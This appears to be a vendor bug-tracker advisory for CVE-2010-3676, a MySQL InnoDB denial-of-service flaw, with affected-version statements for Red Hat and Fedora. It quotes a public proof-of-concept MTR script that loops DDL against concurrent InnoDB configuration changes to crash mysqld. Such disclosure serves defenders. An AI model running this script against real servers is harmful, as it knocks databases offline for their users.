A denial of service flaw was found in the way MySQL processed multiple parallel connections changing InnoDB storage engine configuration parameters (innodb_file_format and innodb_file_per_table) and simultaneously issuing data definition language (DDL) statemens. A remote, authenticated MySQL user could use this flaw to cause mysqld daemon abort (assertion failure). References: [1] http://secunia.com/advisories/41048/ [2] http://dev.mysql.com/doc/refman/5.1/en/news-5-1-49.html Upstream bug report: [3] http://bugs.mysql.com/bug.php?id=55039
Public PoC (from [3]): # MTR test case. It failed for me 18 times of 20 I tried # Increasing number of tries or running the test case via --repeat # does not seem to help, try just to restart it if it did not work. --source include/have_innodb.inc --connect(con1,localhost,root,,) --connect(con2,localhost,root,,) --let $try=100 while($try) { --dec $try --connection con1 --send CREATE TEMPORARY TABLE operations (op VARCHAR(16)) ENGINE=InnoDB --connection con2 --send SET GLOBAL innodb_file_format=Antelope, innodb_file_per_table=ON --connection con1 --reap DROP TABLE operations; --connection con2 --reap SET GLOBAL innodb_file_format = Barracuda, innodb_file_per_table = OFF; } --exit
This issue did NOT affect the versions of the mysql package, as shipped with Red Hat Enterprise Linux 3, 4, or 5. -- This issue did NOT affect the version of the mysql package, as shipped with Fedora release of 12. This issue affects the version of the mysql package, as shipped with Fedora release of 13.
CVE Request: http://www.openwall.com/lists/oss-security/2010/08/30/8
Created mysql tracking bugs for this issue Affects: fedora-all [bug 636780]
The CVE identifier of CVE-2010-3676 has been assigned to this issue.
Statement: Not vulnerable. This issue did not affect the versions of mysql package as shipped with Red Hat Enterprise Linux 3, 4, 5, or 6.